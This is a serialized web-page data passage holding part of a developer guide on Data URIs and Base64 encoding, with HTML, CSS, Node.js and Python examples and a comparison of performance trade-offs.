.sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":273672},[273673,273674,273678,273681,273685,273689,273692,273696,273700,273701],{"id":271259,"depth":337,"text":271260},{"id":271275,"depth":337,"text":271276,"children":273675},[273676,273677],{"id":271279,"depth":343,"text":271280},{"id":271347,"depth":343,"text":271348},{"id":271469,"depth":337,"text":271470,"children":273679},[273680],{"id":271581,"depth":343,"text":271582},{"id":271757,"depth":337,"text":271758,"children":273682},[273683,273684],{"id":271813,"depth":343,"text":271814},{"id":272164,"depth":343,"text":272165},{"id":272264,"depth":337,"text":272265,"children":273686},[273687,273688],{"id":272317,"depth":343,"text":272318},{"id":272339,"depth":343,"text":272340},{"id":272579,"depth":337,"text":272580,"children":273690},[273691],{"id":47366,"depth":343,"text":47367},{"id":51196,"depth":337,"text":51197,"children":273693},[273694],{"id":273067,"depth":343,"text":273695},"The from Keyword",{"id":273221,"depth":337,"text":273222,"children":273697},[273698,273699],{"id":273225,"depth":343,"text":273226},{"id":273328,"depth":343,"text":273329},{"id":273519,"depth":337,"text":273520},{"id":257799,"depth":337,"text":257800},"Master modern CSS color functions including rgb(), hsl(), oklch(), color-mix(), and relative color syntax. Learn browser support and practical use cases.",{"immutable":363},"\u002Fguides\u002Fcss-color-functions",{"title":271254,"description":273702},"guides\u002Fcss-color-functions","kW1iVFoHo2Th8Kki9OBL0G8fUXZ_NFMiGPBxVA7tMLo",{"id":273709,"title":273710,"body":273711,"date":257855,"description":275491,"extension":361,"meta":275492,"navigation":363,"path":275493,"readingTime":2507,"seo":275494,"stem":275495,"__hash__":275496},"guides\u002Fguides\u002Fdata-uri-base64.md","Data URI and Base64: Embedded Images in HTML and CSS",{"type":8,"value":273712,"toc":275449},[273713,273715,273718,273721,273725,273728,273732,273738,273741,273777,273780,273893,273897,273900,273904,274034,274038,274043,274277,274282,274362,274366,274370,274373,274379,274383,274386,274390,274393,274423,274427,274430,274434,274438,274444,274450,274453,274457,274460,274466,274470,274473,274504,274507,274511,274514,274574,274578,274581,274583,274586,274664,274668,274671,274677,274681,274685,274690,274722,274727,274758,274764,274769,274821,274827,274831,274836,274881,274887,274893,274898,274946,274948,274952,274959,274963,274966,274971,275107,275112,275127,275131,275134,275229,275232,275234,275236,275239,275268,275272,275275,275395,275397,275400,275405,275419,275424,275438,275440,275446],[11,273714,2776],{"id":256641},[16,273716,273717],{},"Data URIs (Uniform Resource Identifiers) allow you to embed files directly into HTML or CSS documents, eliminating the need for separate HTTP requests. This technique is commonly used with Base64-encoded images, fonts, and other small assets.",[16,273719,273720],{},"But is embedding assets always a good idea? This guide covers the Data URI format, its advantages and disadvantages, performance characteristics, and practical guidelines for when to use inline assets in your web projects.",[11,273722,273724],{"id":273723},"what-is-a-data-uri","What is a Data URI?",[16,273726,273727],{},"A Data URI is a URI scheme that embeds data directly into a document, defined in RFC 2397. Instead of linking to an external file, the data itself is included in the URI.",[33,273729,273731],{"id":273730},"data-uri-syntax","Data URI Syntax",[135,273733,273736],{"className":273734,"code":273735,"language":140},[138],"data:[\u003Cmedia type>][;base64],\u003Cdata>\n",[143,273737,273735],{"__ignoreMap":141},[16,273739,273740],{},"The components are:",[41,273742,273743,273750,273762,273769],{},[44,273744,273745,273749],{},[47,273746,273747],{},[143,273748,87462],{}," — The URI scheme identifier",[44,273751,273752,273757,273758,1459,273760,1525],{},[47,273753,273754],{},[143,273755,273756],{},"\u003Cmedia type>"," — MIME type (e.g., ",[143,273759,130376],{},[143,273761,130371],{},[44,273763,273764,273768],{},[47,273765,273766],{},[143,273767,130326],{}," — Optional flag indicating Base64 encoding",[44,273770,273771,273776],{},[47,273772,273773],{},[143,273774,273775],{},"\u003Cdata>"," — The actual data (raw or Base64-encoded)",[33,273778,96299],{"id":273779},"examples",[135,273781,273783],{"className":6417,"code":273782,"language":6419,"meta":141,"style":141},"\u003C!-- Inline PNG image -->\n\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\" alt=\"Red dot\">\n\n\u003C!-- Inline CSS background -->\n\u003Cstyle>\n  .icon {\n    background-image: url('data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==');\n  }\n\u003C\u002Fstyle>\n\n\u003C!-- Inline plain text -->\n\u003Ca href=\"data:text\u002Fplain;base64,SGVsbG8gV29ybGQ=\">Download hello.txt\u003C\u002Fa>\n",[143,273784,273785,273790,273812,273816,273821,273829,273836,273852,273856,273864,273868,273873],{"__ignoreMap":141},[1560,273786,273787],{"class":1562,"line":1563},[1560,273788,273789],{"class":1649},"\u003C!-- Inline PNG image -->\n",[1560,273791,273792,273794,273796,273798,273800,273803,273805,273807,273810],{"class":1562,"line":337},[1560,273793,6431],{"class":1570},[1560,273795,10628],{"class":2484},[1560,273797,10631],{"class":1566},[1560,273799,7297],{"class":1570},[1560,273801,273802],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"",[1560,273804,12889],{"class":1566},[1560,273806,7297],{"class":1570},[1560,273808,273809],{"class":5634},"\"Red dot\"",[1560,273811,6441],{"class":1570},[1560,273813,273814],{"class":1562,"line":343},[1560,273815,1702],{"emptyLinePlaceholder":363},[1560,273817,273818],{"class":1562,"line":365},[1560,273819,273820],{"class":1649},"\u003C!-- Inline CSS background -->\n",[1560,273822,273823,273825,273827],{"class":1562,"line":889},[1560,273824,6431],{"class":1570},[1560,273826,2043],{"class":2484},[1560,273828,6441],{"class":1570},[1560,273830,273831,273834],{"class":1562,"line":1710},[1560,273832,273833],{"class":1566},"  .icon",[1560,273835,1571],{"class":1570},[1560,273837,273838,273841,273843,273845,273847,273850],{"class":1562,"line":1717},[1560,273839,273840],{"class":1576},"    background-image",[1560,273842,1663],{"class":1570},[1560,273844,11310],{"class":1576},[1560,273846,1688],{"class":1570},[1560,273848,273849],{"class":5634},"'data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg=='",[1560,273851,1744],{"class":1570},[1560,273853,273854],{"class":1562,"line":1747},[1560,273855,4959],{"class":1570},[1560,273857,273858,273860,273862],{"class":1562,"line":2507},[1560,273859,11242],{"class":1570},[1560,273861,2043],{"class":2484},[1560,273863,6441],{"class":1570},[1560,273865,273866],{"class":1562,"line":2524},[1560,273867,1702],{"emptyLinePlaceholder":363},[1560,273869,273870],{"class":1562,"line":2529},[1560,273871,273872],{"class":1649},"\u003C!-- Inline plain text -->\n",[1560,273874,273875,273877,273879,273881,273883,273886,273889,273891],{"class":1562,"line":2534},[1560,273876,6431],{"class":1570},[1560,273878,98],{"class":2484},[1560,273880,41004],{"class":1566},[1560,273882,7297],{"class":1570},[1560,273884,273885],{"class":5634},"\"data:text\u002Fplain;base64,SGVsbG8gV29ybGQ=\"",[1560,273887,273888],{"class":1570},">Download hello.txt\u003C\u002F",[1560,273890,98],{"class":2484},[1560,273892,6441],{"class":1570},[11,273894,273896],{"id":273895},"how-base64-encoding-works-in-data-uris","How Base64 Encoding Works in Data URIs",[16,273898,273899],{},"When embedding binary data (like images) in a Data URI, the data must be Base64-encoded because URIs can only contain ASCII characters.",[33,273901,273903],{"id":273902},"the-encoding-process","The Encoding Process",[135,273905,273907],{"className":1607,"code":273906,"language":1609,"meta":141,"style":141},"\u002F\u002F Step 1: Get binary image data (e.g., from canvas or fetch)\nconst response = await fetch('image.png');\nconst blob = await response.blob();\n\n\u002F\u002F Step 2: Convert to Base64\nconst reader = new FileReader();\nreader.onload = function() {\n  const base64 = reader.result; \u002F\u002F data:image\u002Fpng;base64,iVBORw0KGgo...\n  console.log(base64);\n};\nreader.readAsDataURL(blob);\n\n\u002F\u002F Step 3: Use in HTML\u002FCSS\n\u002F\u002F \u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgo...\">\n",[143,273908,273909,273914,273933,273951,273955,273960,273974,273987,274000,274008,274012,274020,274024,274029],{"__ignoreMap":141},[1560,273910,273911],{"class":1562,"line":1563},[1560,273912,273913],{"class":1649},"\u002F\u002F Step 1: Get binary image data (e.g., from canvas or fetch)\n",[1560,273915,273916,273918,273920,273922,273924,273926,273928,273931],{"class":1562,"line":337},[1560,273917,8180],{"class":1669},[1560,273919,82247],{"class":1576},[1560,273921,8186],{"class":1669},[1560,273923,28065],{"class":1669},[1560,273925,82254],{"class":1566},[1560,273927,1688],{"class":1570},[1560,273929,273930],{"class":5634},"'image.png'",[1560,273932,1744],{"class":1570},[1560,273934,273935,273937,273939,273941,273943,273946,273949],{"class":1562,"line":343},[1560,273936,8180],{"class":1669},[1560,273938,140073],{"class":1576},[1560,273940,8186],{"class":1669},[1560,273942,28065],{"class":1669},[1560,273944,273945],{"class":1570}," response.",[1560,273947,273948],{"class":1566},"blob",[1560,273950,90158],{"class":1570},[1560,273952,273953],{"class":1562,"line":365},[1560,273954,1702],{"emptyLinePlaceholder":363},[1560,273956,273957],{"class":1562,"line":889},[1560,273958,273959],{"class":1649},"\u002F\u002F Step 2: Convert to Base64\n",[1560,273961,273962,273964,273966,273968,273970,273972],{"class":1562,"line":1710},[1560,273963,8180],{"class":1669},[1560,273965,110478],{"class":1576},[1560,273967,8186],{"class":1669},[1560,273969,11489],{"class":1669},[1560,273971,130848],{"class":1566},[1560,273973,90158],{"class":1570},[1560,273975,273976,273979,273981,273983,273985],{"class":1562,"line":1717},[1560,273977,273978],{"class":1570},"reader.",[1560,273980,54047],{"class":1566},[1560,273982,8186],{"class":1669},[1560,273984,38314],{"class":1669},[1560,273986,8654],{"class":1570},[1560,273988,273989,273991,273993,273995,273998],{"class":1562,"line":1747},[1560,273990,28057],{"class":1669},[1560,273992,131027],{"class":1576},[1560,273994,8186],{"class":1669},[1560,273996,273997],{"class":1570}," reader.result; ",[1560,273999,262744],{"class":1649},[1560,274001,274002,274004,274006],{"class":1562,"line":2507},[1560,274003,9717],{"class":1570},[1560,274005,8214],{"class":1566},[1560,274007,259691],{"class":1570},[1560,274009,274010],{"class":1562,"line":2524},[1560,274011,6607],{"class":1570},[1560,274013,274014,274016,274018],{"class":1562,"line":2529},[1560,274015,273978],{"class":1570},[1560,274017,130892],{"class":1566},[1560,274019,140105],{"class":1570},[1560,274021,274022],{"class":1562,"line":2534},[1560,274023,1702],{"emptyLinePlaceholder":363},[1560,274025,274026],{"class":1562,"line":2542},[1560,274027,274028],{"class":1649},"\u002F\u002F Step 3: Use in HTML\u002FCSS\n",[1560,274030,274031],{"class":1562,"line":2558},[1560,274032,274033],{"class":1649},"\u002F\u002F \u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgo...\">\n",[33,274035,274037],{"id":274036},"generating-data-uris-in-different-languages","Generating Data URIs in Different Languages",[16,274039,274040],{},[47,274041,274042],{},"Node.js:",[135,274044,274046],{"className":1607,"code":274045,"language":1609,"meta":141,"style":141},"const fs = require('fs');\n\nfunction createDataUri(filePath) {\n  const mimeTypes = {\n    '.png': 'image\u002Fpng',\n    '.jpg': 'image\u002Fjpeg',\n    '.gif': 'image\u002Fgif',\n    '.svg': 'image\u002Fsvg+xml',\n    '.woff2': 'font\u002Fwoff2'\n  };\n\n  const ext = path.extname(filePath);\n  const mimeType = mimeTypes[ext] || 'application\u002Foctet-stream';\n  const data = fs.readFileSync(filePath);\n  const base64 = data.toString('base64');\n\n  return `data:${mimeType};base64,${base64}`;\n}\n\nconst dataUri = createDataUri('logo.png');\nconsole.log(dataUri); \u002F\u002F data:image\u002Fpng;base64,iVBORw0KGgo...\n",[143,274047,274048,274064,274068,274081,274092,274103,274114,274126,274137,274147,274151,274155,274169,274188,274202,274220,274224,274241,274245,274249,274266],{"__ignoreMap":141},[1560,274049,274050,274052,274054,274056,274058,274060,274062],{"class":1562,"line":1563},[1560,274051,8180],{"class":1669},[1560,274053,130913],{"class":1576},[1560,274055,8186],{"class":1669},[1560,274057,20658],{"class":1566},[1560,274059,1688],{"class":1570},[1560,274061,130922],{"class":5634},[1560,274063,1744],{"class":1570},[1560,274065,274066],{"class":1562,"line":337},[1560,274067,1702],{"emptyLinePlaceholder":363},[1560,274069,274070,274072,274075,274077,274079],{"class":1562,"line":343},[1560,274071,8648],{"class":1669},[1560,274073,274074],{"class":1566}," createDataUri",[1560,274076,1688],{"class":1570},[1560,274078,130958],{"class":2219},[1560,274080,9345],{"class":1570},[1560,274082,274083,274085,274088,274090],{"class":1562,"line":365},[1560,274084,28057],{"class":1669},[1560,274086,274087],{"class":1576}," mimeTypes",[1560,274089,8186],{"class":1669},[1560,274091,1571],{"class":1570},[1560,274093,274094,274097,274099,274101],{"class":1562,"line":889},[1560,274095,274096],{"class":5634},"    '.png'",[1560,274098,1663],{"class":1570},[1560,274100,130997],{"class":5634},[1560,274102,11943],{"class":1570},[1560,274104,274105,274108,274110,274112],{"class":1562,"line":1710},[1560,274106,274107],{"class":5634},"    '.jpg'",[1560,274109,1663],{"class":1570},[1560,274111,131007],{"class":5634},[1560,274113,11943],{"class":1570},[1560,274115,274116,274119,274121,274124],{"class":1562,"line":1717},[1560,274117,274118],{"class":5634},"    '.gif'",[1560,274120,1663],{"class":1570},[1560,274122,274123],{"class":5634},"'image\u002Fgif'",[1560,274125,11943],{"class":1570},[1560,274127,274128,274131,274133,274135],{"class":1562,"line":1747},[1560,274129,274130],{"class":5634},"    '.svg'",[1560,274132,1663],{"class":1570},[1560,274134,131017],{"class":5634},[1560,274136,11943],{"class":1570},[1560,274138,274139,274142,274144],{"class":1562,"line":2507},[1560,274140,274141],{"class":5634},"    '.woff2'",[1560,274143,1663],{"class":1570},[1560,274145,274146],{"class":5634},"'font\u002Fwoff2'\n",[1560,274148,274149],{"class":1562,"line":2524},[1560,274150,130885],{"class":1570},[1560,274152,274153],{"class":1562,"line":2529},[1560,274154,1702],{"emptyLinePlaceholder":363},[1560,274156,274157,274159,274161,274163,274165,274167],{"class":1562,"line":2534},[1560,274158,28057],{"class":1669},[1560,274160,130967],{"class":1576},[1560,274162,8186],{"class":1669},[1560,274164,130972],{"class":1570},[1560,274166,130975],{"class":1566},[1560,274168,130978],{"class":1570},[1560,274170,274171,274173,274176,274178,274181,274183,274186],{"class":1562,"line":2542},[1560,274172,28057],{"class":1669},[1560,274174,274175],{"class":1576}," mimeType",[1560,274177,8186],{"class":1669},[1560,274179,274180],{"class":1570}," mimeTypes[ext] ",[1560,274182,82344],{"class":1669},[1560,274184,274185],{"class":5634}," 'application\u002Foctet-stream'",[1560,274187,2228],{"class":1570},[1560,274189,274190,274192,274194,274196,274198,274200],{"class":1562,"line":2558},[1560,274191,28057],{"class":1669},[1560,274193,229483],{"class":1576},[1560,274195,8186],{"class":1669},[1560,274197,131032],{"class":1570},[1560,274199,131035],{"class":1566},[1560,274201,130978],{"class":1570},[1560,274203,274204,274206,274208,274210,274212,274214,274216,274218],{"class":1562,"line":2570},[1560,274205,28057],{"class":1669},[1560,274207,131027],{"class":1576},[1560,274209,8186],{"class":1669},[1560,274211,260033],{"class":1570},[1560,274213,10052],{"class":1566},[1560,274215,1688],{"class":1570},[1560,274217,131045],{"class":5634},[1560,274219,1744],{"class":1570},[1560,274221,274222],{"class":1562,"line":6638},[1560,274223,1702],{"emptyLinePlaceholder":363},[1560,274225,274226,274228,274230,274233,274235,274237,274239],{"class":1562,"line":11615},[1560,274227,9350],{"class":1669},[1560,274229,131054],{"class":5634},[1560,274231,274232],{"class":1570},"mimeType",[1560,274234,131068],{"class":5634},[1560,274236,86311],{"class":1570},[1560,274238,9582],{"class":5634},[1560,274240,2228],{"class":1570},[1560,274242,274243],{"class":1562,"line":11621},[1560,274244,1585],{"class":1570},[1560,274246,274247],{"class":1562,"line":11633},[1560,274248,1702],{"emptyLinePlaceholder":363},[1560,274250,274251,274253,274255,274257,274259,274261,274264],{"class":1562,"line":11638},[1560,274252,8180],{"class":1669},[1560,274254,254790],{"class":1576},[1560,274256,8186],{"class":1669},[1560,274258,274074],{"class":1566},[1560,274260,1688],{"class":1570},[1560,274262,274263],{"class":5634},"'logo.png'",[1560,274265,1744],{"class":1570},[1560,274267,274268,274270,274272,274275],{"class":1562,"line":11672},[1560,274269,8211],{"class":1570},[1560,274271,8214],{"class":1566},[1560,274273,274274],{"class":1570},"(dataUri); ",[1560,274276,262744],{"class":1649},[16,274278,274279],{},[47,274280,274281],{},"Python:",[135,274283,274285],{"className":8259,"code":274284,"language":8261,"meta":141,"style":141},"import base64\nimport mimetypes\n\ndef create_data_uri(file_path):\n    mime_type, _ = mimetypes.guess_type(file_path)\n    if not mime_type:\n        mime_type = 'application\u002Foctet-stream'\n\n    with open(file_path, 'rb') as f:\n        data = f.read()\n\n    base64_data = base64.b64encode(data).decode('ascii')\n    return f'data:{mime_type};base64,{base64_data}'\n\ndata_uri = create_data_uri('logo.png')\nprint(data_uri)\n",[143,274286,274287,274291,274296,274300,274305,274310,274315,274320,274324,274329,274334,274338,274343,274348,274352,274357],{"__ignoreMap":141},[1560,274288,274289],{"class":1562,"line":1563},[1560,274290,260240],{},[1560,274292,274293],{"class":1562,"line":337},[1560,274294,274295],{},"import mimetypes\n",[1560,274297,274298],{"class":1562,"line":343},[1560,274299,1702],{"emptyLinePlaceholder":363},[1560,274301,274302],{"class":1562,"line":365},[1560,274303,274304],{},"def create_data_uri(file_path):\n",[1560,274306,274307],{"class":1562,"line":889},[1560,274308,274309],{},"    mime_type, _ = mimetypes.guess_type(file_path)\n",[1560,274311,274312],{"class":1562,"line":1710},[1560,274313,274314],{},"    if not mime_type:\n",[1560,274316,274317],{"class":1562,"line":1717},[1560,274318,274319],{},"        mime_type = 'application\u002Foctet-stream'\n",[1560,274321,274322],{"class":1562,"line":1747},[1560,274323,1702],{"emptyLinePlaceholder":363},[1560,274325,274326],{"class":1562,"line":2507},[1560,274327,274328],{},"    with open(file_path, 'rb') as f:\n",[1560,274330,274331],{"class":1562,"line":2524},[1560,274332,274333],{},"        data = f.read()\n",[1560,274335,274336],{"class":1562,"line":2529},[1560,274337,1702],{"emptyLinePlaceholder":363},[1560,274339,274340],{"class":1562,"line":2534},[1560,274341,274342],{},"    base64_data = base64.b64encode(data).decode('ascii')\n",[1560,274344,274345],{"class":1562,"line":2542},[1560,274346,274347],{},"    return f'data:{mime_type};base64,{base64_data}'\n",[1560,274349,274350],{"class":1562,"line":2558},[1560,274351,1702],{"emptyLinePlaceholder":363},[1560,274353,274354],{"class":1562,"line":2570},[1560,274355,274356],{},"data_uri = create_data_uri('logo.png')\n",[1560,274358,274359],{"class":1562,"line":6638},[1560,274360,274361],{},"print(data_uri)\n",[11,274363,274365],{"id":274364},"advantages-of-data-uris","Advantages of Data URIs",[33,274367,274369],{"id":274368},"_1-reduced-http-requests","1. Reduced HTTP Requests",[16,274371,274372],{},"Each external resource requires a separate HTTP request. Data URIs eliminate these requests for embedded assets:",[135,274374,274377],{"className":274375,"code":274376,"language":140},[138],"Without Data URIs:\n- HTML document (1 request)\n- logo.png (1 request)\n- icon.svg (1 request)\n- font.woff2 (1 request)\n= 4 HTTP requests\n\nWith Data URIs:\n- HTML document with embedded assets (1 request)\n= 1 HTTP request\n",[143,274378,274376],{"__ignoreMap":141},[33,274380,274382],{"id":274381},"_2-no-external-dependencies","2. No External Dependencies",[16,274384,274385],{},"Embedded assets are self-contained within the document. If the HTML file is saved or shared, all embedded resources come along with it.",[33,274387,274389],{"id":274388},"_3-useful-for-email-html","3. Useful for Email HTML",[16,274391,274392],{},"Many email clients block external images by default. Data URIs allow images to display immediately without requiring the user to \"show images\":",[135,274394,274396],{"className":6417,"code":274395,"language":6419,"meta":141,"style":141},"\u003C!-- Email-safe embedded image -->\n\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgo...\" alt=\"Company Logo\">\n",[143,274397,274398,274403],{"__ignoreMap":141},[1560,274399,274400],{"class":1562,"line":1563},[1560,274401,274402],{"class":1649},"\u003C!-- Email-safe embedded image -->\n",[1560,274404,274405,274407,274409,274411,274413,274415,274417,274419,274421],{"class":1562,"line":337},[1560,274406,6431],{"class":1570},[1560,274408,10628],{"class":2484},[1560,274410,10631],{"class":1566},[1560,274412,7297],{"class":1570},[1560,274414,260581],{"class":5634},[1560,274416,12889],{"class":1566},[1560,274418,7297],{"class":1570},[1560,274420,130508],{"class":5634},[1560,274422,6441],{"class":1570},[33,274424,274426],{"id":274425},"_4-works-offline","4. Works Offline",[16,274428,274429],{},"Since the data is embedded, it works without network connectivity (as long as the containing document is available).",[11,274431,274433],{"id":274432},"disadvantages-of-data-uris","Disadvantages of Data URIs",[33,274435,274437],{"id":274436},"_1-increased-file-size","1. Increased File Size",[16,274439,274440,274441,274443],{},"Base64 encoding increases the data size by approximately ",[47,274442,21035],{}," compared to the original binary:",[135,274445,274448],{"className":274446,"code":274447,"language":140},[138],"Original PNG: 10 KB\nBase64-encoded: ~13.3 KB (+33%)\n\nOriginal JPEG: 50 KB\nBase64-encoded: ~66.7 KB (+33%)\n",[143,274449,274447],{"__ignoreMap":141},[16,274451,274452],{},"This size increase happens because Base64 represents 3 bytes of binary data using 4 ASCII characters.",[33,274454,274456],{"id":274455},"_2-not-cacheable-independently","2. Not Cacheable Independently",[16,274458,274459],{},"When you embed an image in HTML or CSS, it becomes part of that file. If the same image is used on 10 pages, it gets downloaded 10 times (once per page).",[135,274461,274464],{"className":274462,"code":274463,"language":140},[138],"External image approach:\n- logo.png cached after first download\n- All pages reference the same cached file\n\nData URI approach:\n- logo.png embedded in each HTML file\n- Each page download includes the full image data\n",[143,274465,274463],{"__ignoreMap":141},[33,274467,274469],{"id":274468},"_3-slower-parsing-and-rendering","3. Slower Parsing and Rendering",[16,274471,274472],{},"The browser must decode the Base64 data before rendering, which takes additional CPU time:",[135,274474,274476],{"className":1607,"code":274475,"language":1609,"meta":141,"style":141},"\u002F\u002F Browser has to do this internally:\nconst binaryData = atob(base64String); \u002F\u002F Decoding step\n\u002F\u002F Then render the image\n",[143,274477,274478,274483,274499],{"__ignoreMap":141},[1560,274479,274480],{"class":1562,"line":1563},[1560,274481,274482],{"class":1649},"\u002F\u002F Browser has to do this internally:\n",[1560,274484,274485,274487,274489,274491,274493,274496],{"class":1562,"line":337},[1560,274486,8180],{"class":1669},[1560,274488,261809],{"class":1576},[1560,274490,8186],{"class":1669},[1560,274492,259688],{"class":1566},[1560,274494,274495],{"class":1570},"(base64String); ",[1560,274497,274498],{"class":1649},"\u002F\u002F Decoding step\n",[1560,274500,274501],{"class":1562,"line":343},[1560,274502,274503],{"class":1649},"\u002F\u002F Then render the image\n",[16,274505,274506],{},"For large images or many embedded assets, this can impact page load performance.",[33,274508,274510],{"id":274509},"_4-increased-htmlcss-file-size","4. Increased HTML\u002FCSS File Size",[16,274512,274513],{},"Embedding large assets makes your HTML or CSS files significantly larger, which can slow down initial page parsing:",[135,274515,274517],{"className":1554,"code":274516,"language":1556,"meta":141,"style":141},"\u002F* Embedding a 100KB font file in CSS *\u002F\n@font-face {\n  font-family: 'CustomFont';\n  src: url('data:font\u002Fwoff2;base64,d09GMgABAAAA...[100KB of Base64]...') format('woff2');\n}\n\u002F* This CSS file is now 100KB+ larger *\u002F\n",[143,274518,274519,274524,274530,274541,274565,274569],{"__ignoreMap":141},[1560,274520,274521],{"class":1562,"line":1563},[1560,274522,274523],{"class":1649},"\u002F* Embedding a 100KB font file in CSS *\u002F\n",[1560,274525,274526,274528],{"class":1562,"line":337},[1560,274527,54240],{"class":1669},[1560,274529,1571],{"class":1570},[1560,274531,274532,274534,274536,274539],{"class":1562,"line":343},[1560,274533,96719],{"class":1576},[1560,274535,1663],{"class":1570},[1560,274537,274538],{"class":5634},"'CustomFont'",[1560,274540,2228],{"class":1570},[1560,274542,274543,274545,274547,274549,274551,274554,274556,274558,274560,274563],{"class":1562,"line":365},[1560,274544,130162],{"class":1576},[1560,274546,1663],{"class":1570},[1560,274548,11310],{"class":1576},[1560,274550,1688],{"class":1570},[1560,274552,274553],{"class":5634},"'data:font\u002Fwoff2;base64,d09GMgABAAAA...[100KB of Base64]...'",[1560,274555,1733],{"class":1570},[1560,274557,88484],{"class":1576},[1560,274559,1688],{"class":1570},[1560,274561,274562],{"class":5634},"'woff2'",[1560,274564,1744],{"class":1570},[1560,274566,274567],{"class":1562,"line":889},[1560,274568,1585],{"class":1570},[1560,274570,274571],{"class":1562,"line":1710},[1560,274572,274573],{"class":1649},"\u002F* This CSS file is now 100KB+ larger *\u002F\n",[33,274575,274577],{"id":274576},"_5-no-progressive-loading","5. No Progressive Loading",[16,274579,274580],{},"External images can be loaded progressively (especially JPEG), showing a low-quality preview while downloading. Data URIs must be fully decoded before rendering.",[11,274582,26165],{"id":26164},[16,274584,274585],{},"Here's a realistic comparison of different approaches:",[193,274587,274588,274601],{},[196,274589,274590],{},[199,274591,274592,274594,274596,274598],{},[202,274593,15609],{},[202,274595,130663],{},[202,274597,130279],{},[202,274599,274600],{},"HTTP\u002F2 Multiplexing",[211,274602,274603,274617,274628,274640,274652],{},[199,274604,274605,274608,274611,274614],{},[216,274606,274607],{},"HTTP Requests",[216,274609,274610],{},"1 per file",[216,274612,274613],{},"0 (embedded)",[216,274615,274616],{},"1 connection, multiple streams",[199,274618,274619,274621,274623,274626],{},[216,274620,111611],{},[216,274622,11090],{},[216,274624,274625],{},"+33% (Base64)",[216,274627,11090],{},[199,274629,274630,274633,274635,274638],{},[216,274631,274632],{},"Cacheability",[216,274634,130697],{},[216,274636,274637],{},"No (part of parent)",[216,274639,130697],{},[199,274641,274642,274645,274647,274650],{},[216,274643,274644],{},"Parsing Overhead",[216,274646,22317],{},[216,274648,274649],{},"Base64 decode",[216,274651,22317],{},[199,274653,274654,274656,274659,274662],{},[216,274655,489],{},[216,274657,274658],{},"Large assets, repeated assets",[216,274660,274661],{},"Tiny assets, one-time use",[216,274663,7636],{},[33,274665,274667],{"id":274666},"when-http2-changes-the-equation","When HTTP\u002F2 Changes the Equation",[16,274669,274670],{},"With HTTP\u002F2, multiple files can be requested over a single connection with multiplexing. The request overhead is much lower, reducing the advantage of Data URIs:",[135,274672,274675],{"className":274673,"code":274674,"language":140},[138],"HTTP\u002F1.1: 10 assets = 10 connections = slow\nHTTP\u002F2:   10 assets = 1 connection, multiplexed = fast\n\nConclusion: Data URIs matter less with HTTP\u002F2\n",[143,274676,274674],{"__ignoreMap":141},[11,274678,274680],{"id":274679},"when-to-use-data-uris","When to Use Data URIs",[33,274682,274684],{"id":274683},"good-use-cases","✅ Good Use Cases",[16,274686,274687],{},[47,274688,274689],{},"1. Very Small Images (under 2KB)",[135,274691,274693],{"className":6417,"code":274692,"language":6419,"meta":141,"style":141},"\u003C!-- Small icons, spacers, simple SVG -->\n\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgoAAAA...\" alt=\"icon\">\n",[143,274694,274695,274700],{"__ignoreMap":141},[1560,274696,274697],{"class":1562,"line":1563},[1560,274698,274699],{"class":1649},"\u003C!-- Small icons, spacers, simple SVG -->\n",[1560,274701,274702,274704,274706,274708,274710,274713,274715,274717,274720],{"class":1562,"line":337},[1560,274703,6431],{"class":1570},[1560,274705,10628],{"class":2484},[1560,274707,10631],{"class":1566},[1560,274709,7297],{"class":1570},[1560,274711,274712],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgoAAAA...\"",[1560,274714,12889],{"class":1566},[1560,274716,7297],{"class":1570},[1560,274718,274719],{"class":5634},"\"icon\"",[1560,274721,6441],{"class":1570},[16,274723,274724],{},[47,274725,274726],{},"2. Email Templates",[135,274728,274730],{"className":6417,"code":274729,"language":6419,"meta":141,"style":141},"\u003C!-- Email clients often block external images -->\n\u003Cimg src=\"data:image\u002Fpng;base64,...\" alt=\"Logo\">\n",[143,274731,274732,274737],{"__ignoreMap":141},[1560,274733,274734],{"class":1562,"line":1563},[1560,274735,274736],{"class":1649},"\u003C!-- Email clients often block external images 